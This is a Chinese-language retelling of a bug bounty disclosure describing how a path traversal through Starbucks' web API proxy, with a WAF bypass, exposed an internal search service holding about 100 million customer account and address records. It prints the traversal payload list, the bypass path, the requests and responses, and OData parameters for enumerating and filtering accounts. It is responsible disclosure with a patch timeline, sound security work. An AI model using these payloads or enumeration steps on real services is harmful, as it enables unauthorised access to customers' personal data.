漏洞報(bào)告:“入侵”星巴克并訪問1億客戶記錄
Sam花了一整天的嘗試,仍然沒有在Verizon Media漏洞賞金計(jì)劃中有所收獲,于是,他決定先退出做一些其他事情。他上網(wǎng)準(zhǔn)備訂購(gòu)星巴克的禮品卡,作為朋友的生日禮物。
當(dāng)sam在星巴克官網(wǎng)上試圖購(gòu)買時(shí),他發(fā)現(xiàn)了API調(diào)用的可疑之處:在以“ / bff / proxy /”為前綴的API下發(fā)送了一些請(qǐng)求,但這些請(qǐng)求返回的數(shù)據(jù)似乎來自另一臺(tái)主機(jī)。
正好,由于星巴克有一個(gè)漏洞賞金計(jì)劃,于是,繼續(xù)研究下去吧。
以下是返回sam的用戶信息的其中之一的API調(diào)用示例:
- POST /bff/proxy/orchestra/get-user HTTP/1.1
- Host: app.starbucks.com
- {
- "data": {
- "user": {
- "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
- "firstName": "Sam",
- "lastName": "Curry",
- "email": "samwcurry@gmail.com",
- "partnerNumber": null,
- "birthDay": null,
- "birthMonth": null,
- "loyaltyProgram": null
- }
- }
- }
在上面的示例中,“ app.starbucks.com”主機(jī)將無法訪問通過特定端點(diǎn)訪問的數(shù)據(jù),但可以充當(dāng)假設(shè)的第二個(gè)主機(jī)的代理或中間人,“internal.starbucks.com”。
這里要考慮的一些有趣的事情是……
- 我們?nèi)绾螠y(cè)試應(yīng)用程序的路由?
- 如果應(yīng)用程序?qū)⒄?qǐng)求路由到內(nèi)部主機(jī),則權(quán)限模型是什么樣的?
- 我們可以控制發(fā)送到內(nèi)部主機(jī)的請(qǐng)求中的路徑或參數(shù)嗎?
- 內(nèi)部主機(jī)上是否有開放重定向,如果有,應(yīng)用程序?qū)⒆裱_放重定向嗎?
- 返回的內(nèi)容是否必須匹配適當(dāng)?shù)念愋?是否解析JSON,XML或任何其他數(shù)據(jù)?)
Sam做的第一件事是嘗試遍歷API調(diào)用,以便可以加載其他路徑,而執(zhí)行此操作的方式是發(fā)送以下負(fù)載:
- /bff/proxy/orchestra/get-user/..%2f
- /bff/proxy/orchestra/get-user/..;/
- /bff/proxy/orchestra/get-user/../
- /bff/proxy/orchestra/get-user/..%00/
- /bff/proxy/orchestra/get-user/..%0d/
- /bff/proxy/orchestra/get-user/..%5c
- /bff/proxy/orchestra/get-user/..\
- /bff/proxy/orchestra/get-user/..%ff/
- /bff/proxy/orchestra/get-user/%2e%2e%2f
- /bff/proxy/orchestra/get-user/.%2e/
- /bff/proxy/orchestra/get-user/%3f (?)
- /bff/proxy/orchestra/get-user/%26 (&)
- /bff/proxy/orchestra/get-user/%23 (#)
可惜的是,這些都不起作用。它們都返回了我通常會(huì)看到的相同的404頁(yè)面……
在這種情況下,我們可以將“ / bff / proxy / orchestra / get-user”視為我們正在調(diào)用的未包含用戶輸入的函數(shù)。同時(shí),我們有機(jī)會(huì)找到一個(gè)確實(shí)接受用戶輸入的函數(shù),例如“ / bff / proxy / users /:id”,在這里我們有足夠的空間測(cè)試它將接受的數(shù)據(jù)。如果我們發(fā)現(xiàn)這樣的API調(diào)用,那么嘗試遍歷有效負(fù)載并發(fā)送其他數(shù)據(jù)(實(shí)際上是在用戶輸入中接收)可能會(huì)更有幫助。
Sam仔細(xì)留意這個(gè)App,發(fā)現(xiàn)了更多的API調(diào)用。而他發(fā)現(xiàn)的接受用戶輸入的第一個(gè)信息是:
- GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1
- Host: app.starbucks.com
這個(gè)端點(diǎn)不同于“get user”端點(diǎn),因?yàn)樽詈笠粋€(gè)路徑作為參數(shù)存在,在其中提供了任意輸入。如果將此輸入作為內(nèi)部系統(tǒng)上的路徑處理,那么完全可能遍歷它并訪問其他內(nèi)部端點(diǎn)。
幸運(yùn)的是,sam嘗試的第一個(gè)測(cè)試返回了一個(gè)非常好的指標(biāo),表明可以遍歷端點(diǎn):
- GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1
- Host: app.starbucks.com
- {
- "errors": [
- {
- "message": "Not Found",
- "errorCode": 404,
- ...
這個(gè)JSON響應(yīng)與“ / bff / proxy”下所有其他常規(guī)API調(diào)用的JSON響應(yīng)相同。這表明sam正在使用內(nèi)部系統(tǒng),并且已經(jīng)成功地修改了正在與之交談的路徑。下一步將是映射內(nèi)部系統(tǒng),而做到這一點(diǎn)的最佳方法將是通過標(biāo)識(shí)返回“ 400錯(cuò)誤請(qǐng)求”的第一條路徑遍歷到根。
但很快,sam遇到了一個(gè)障礙。有一個(gè)WAF讓他不能深入兩個(gè)目錄:
- GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1
- Host: app.starbucks.com
- HTTP/1.1 403 Forbidden
- 不過,這個(gè)WAF很弱……
- GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1
- Host: app.starbucks.com
- {
- "errors": [
- {
- "message": "Not Found",
- "errorCode": 404,
- ...
最終,在返回7條路徑后,sam收到了以下錯(cuò)誤:
- GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1
- Host: app.starbucks.com
- {
- "errors": [
- {
- "message": "Bad Request",
- "errorCode": 400,
- ...
這意味著內(nèi)部API的根是6個(gè)返回路徑,可以使用目錄暴力破解工具或Burp Suite的入侵者和單詞列表將其映射出來。
此時(shí),sam對(duì)這個(gè)漏洞更加感興趣了,他和Justin Gardner進(jìn)行了探討。
而Justin Gardner幾乎立即在內(nèi)部系統(tǒng)的根目錄下識(shí)別出許多路徑,方法是觀察到對(duì)這些路徑的HTTP請(qǐng)求,之后如果沒有正斜杠,就會(huì)使用Burp的入侵者返回重定向代碼:
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search
- Host: app.starbucks.com
- HTTP/1.1 301 Moved Permanently
- Server: nginx
- Content-Type: text/html
- Content-Length: 162
- Location: /search/
Justin致力于尋找所有端點(diǎn)時(shí),sam開始逐一研究每個(gè)目錄。運(yùn)行完自己的掃描后,sam發(fā)現(xiàn)“搜索”下有“v1”,而“v1”下有“賬戶”和“地址”。
于是,他給Justin發(fā)了一條消息,想想如果“ / search / v1 / accounts”端點(diǎn)是對(duì)所有生產(chǎn)帳戶的搜索,那將是多么有趣……
而事實(shí),果然如此。“ / search / v1 / accounts”可以訪問所有星巴克帳戶的Microsoft Graph實(shí)例。
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1
- Host: app.starbucks.com
- {
- "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
- "value": [
- {
- "Id": 1,
- "ExternalId": "12345",
- "UserName": "UserName",
- "FirstName": "FirstName",
- "LastName": "LastName",
- "EmailAddress": "0640DE@example.com",
- "Submarket": "US",
- "PartnerNumber": null,
- "RegistrationDate": "1900-01-01T00:00:00Z",
- "RegistrationSource": "iOSApp",
- "LastUpdated": "2017-06-01T15:32:56.4925207Z"
- },
- ...
- lots of production accounts
此外,“地址”端點(diǎn)返回了類似的信息……
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1
- Host: app.starbucks.com
- {
- "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses",
- "value": [
- {
- "Id": 1,
- "AccountId": 1,
- "AddressType": "3",
- "AddressLine1": null,
- "AddressLine2": null,
- "AddressLine3": null,
- "City": null,
- "PostalCode": null,
- "Country": null,
- "CountrySubdivision": null,
- "FirstName": null,
- "LastName": null,
- "PhoneNumber": null
- },
- ...
- lots of production addresses
它是為生產(chǎn)帳戶和地址提供的服務(wù)。隨后,sam開始進(jìn)一步探索該服務(wù),以使用Microsoft Graph功能進(jìn)行確認(rèn)。
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true
- Host: app.starbucks.com
- {
- "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
- "@odata.count":99356059
- }
通過從Microsoft Graph URL添加“ $ count”參數(shù),可以確定該服務(wù)具有近1億條記錄。攻擊者可以通過添加“ $ skip”和“ $ count”之類的參數(shù)枚舉所有用戶帳戶來竊取此數(shù)據(jù)。
此外,要查明特定的用戶帳戶,攻擊者可以使用“ $ filter”參數(shù):
- GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1
- Host: app.starbucks.com
- {
- "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
- "value": [
- {
- "Id": 81763022,
- "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",
- "UserName": "redacted@gmail.com",
- "FirstName": "Justin",
- "LastName": "Gardner",
- "EmailAddress": "redacted@gmail.com",
- "Submarket": "US",
- "PartnerNumber": null,
- "RegistrationDate": "2018-05-19T18:52:15.0763564Z",
- "RegistrationSource": "Android",
- "LastUpdated": "2020-05-16T23:28:39.3426069Z"
- }
- ]
- }
最后,sam還發(fā)現(xiàn)的其他一些端點(diǎn),可能(尚未確認(rèn))使攻擊者能夠訪問和修改帳單地址、禮品卡、獎(jiǎng)勵(lì)和優(yōu)惠等內(nèi)容。
- barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver
時(shí)間線
- 5月16日?qǐng)?bào)道
- 5月17日補(bǔ)丁
- 5月19日頒發(fā)賞金(4000美元)
- 6月16日公開
參考鏈接:https://samcurry.net/hacking-starbucks/